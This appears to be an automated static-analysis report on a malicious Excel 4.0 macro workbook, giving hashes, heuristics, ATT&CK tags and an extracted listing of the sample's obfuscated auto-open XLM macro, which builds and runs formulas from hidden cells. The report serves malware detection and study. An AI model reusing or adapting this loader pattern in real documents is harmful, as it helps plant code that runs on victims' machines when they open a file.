Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b4251120577d1024…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:41:46 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: b0b1e8b09fc00ac787f4af167c3bddc3 SHA-1: b1b6325c96c0d2664a71525242f63d0e125f7d30 SHA-256: b4251120577d1024148345700f001c146947d40d5b747dfafb0504ff44500453
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical heuristic finding. This indicates the macro will execute automatically upon opening the workbook. The presence of dangerous formula APIs like RUN further suggests the macro is designed to execute arbitrary code, likely downloading and running a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6450 bytes
SHA-256: 20c853d3a7b7f9561123156827d4dc08425a1454ed97ab66d342e2e86621e414
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KzbC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E147 
' 0018     27 LABEL : Cell Value, String Constant - bAWxlOHEjPxz len=0 
' 0018     23 LABEL : Cell Value, String Constant - CEjCUiXo len=0 
' 0018     23 LABEL : Cell Value, String Constant - CpMuFOOD len=0 
' 0018     27 LABEL : Cell Value, String Constant - fwQNQDAcKuTq len=0 
' 0018     26 LABEL : Cell Value, String Constant - jbfptJyDRKu len=0 
' 0018     21 LABEL : Cell Value, String Constant - JcfpuV len=0 
' 0018     26 LABEL : Cell Value, String Constant - jhrdYiiFsdY len=0 
' 0018     20 LABEL : Cell Value, String Constant - jNcPu len=0 
' 0018     25 LABEL : Cell Value, String Constant - JvZqOHpwWa len=0 
' 0018     21 LABEL : Cell Value, String Constant - kYbSDK len=0 
' 0018     24 LABEL : Cell Value, String Constant - oiXxjnGSQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - PcGtB len=0 
' 0018     24 LABEL : Cell Value, String Constant - pktgvvidL len=0 
' 0018     27 LABEL : Cell Value, String Constant - sqiUrLsAIrdE len=0 
' 0018     21 LABEL : Cell Value, String Constant - tqhkpO len=0 
' 0018     27 LABEL : Cell Value, String Constant - VdcwGsSOEhrk len=0 
' 0018     27 LABEL : Cell Value, String Constant - XJUePJCsYFyp len=0 
' 0018     22 LABEL : Cell Value, String Constant - yIonbFU len=0 
' 0018     25 LABEL : Cell Value, String Constant - yNDpangABi len=0 
' 0018     24 LABEL : Cell Value, String Constant - yYYUEKiHc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KzbC,E53,"SET.NAME("VdcwGsSOEhrk",VALUE("0"))",""
'  KzbC,E55,"SET.NAME("CEjCUiXo",VdcwGsSOEhrk)",""
'  KzbC,E59,"SET.NAME("fwQNQDAcKuTq",VdcwGsSOEhrk)",""
'  KzbC,E61,"SET.NAME("JvZqOHpwWa",COUNTA(pktgvvidL))",""
'  KzbC,E64,"SET.NAME("kYbSDK",COUNTA(jbfptJyDRKu))",""
'  KzbC,E68,[],""
'  KzbC,E71,"SET.NAME("bAWxlOHEjPxz","")",""
'  KzbC,E76,"CEjCUiXo",""
'  KzbC,E79,"SET.NAME("yIonbFU",HLOOKUP("*",pktgvvidL,CEjCUiXo,FALSE))",""
'  KzbC,E83,"jhrdYiiFsdY",""
'  KzbC,E86,"SET.NAME("CpMuFOOD",VdcwGsSOEhrk)",""
'  KzbC,E91,[],""
'  KzbC,E94,"CpMuFOOD",""
'  KzbC,E96,"PcGtB",""
'  KzbC,E100,"yYYUEKiHc",""
'  KzbC,E102,"yNDpangABi",""
'  KzbC,E107,"SET.NAME("tqhkpO",VALUE(HLOOKUP("*",jbfptJyDRKu,yNDpangABi,FALSE)))",""
'  KzbC,E109,"jNcPu",""
'  KzbC,E113,"bAWxlOHEjPxz",""
'  KzbC,E117,"fwQNQDAcKuTq",""
'  KzbC,E122,NEXT(),""
'  KzbC,E125,"sqiUrLsAIrdE",""
'  KzbC,E130,"SET.NAME("f",INT(T(FORMULA(T(bAWxlOHEjPxz)&"",""&T(sqiUrLsAIrdE)))))",""
'  KzbC,E135,"JcfpuV",""
'  KzbC,E140,NEXT(),""
'  KzbC,E143,RETURN(),""
'  KzbC,E175,"SET.NAME("oiXxjnGSQ",E53)",""
'  KzbC,E178,"pktgvvidL",""
'  KzbC,E181,"SET.NAME("jbfptJyDRKu",R94C15)",""
'  KzbC,E185,"SET.NAME("JcfpuV",194)",""
'  KzbC,E188,"SET.NAME("XJUePJCsYFyp",5)",""
'  KzbC,E193,oiXxjnGSQ(),""
'  KzbC,E194,HALT(),""

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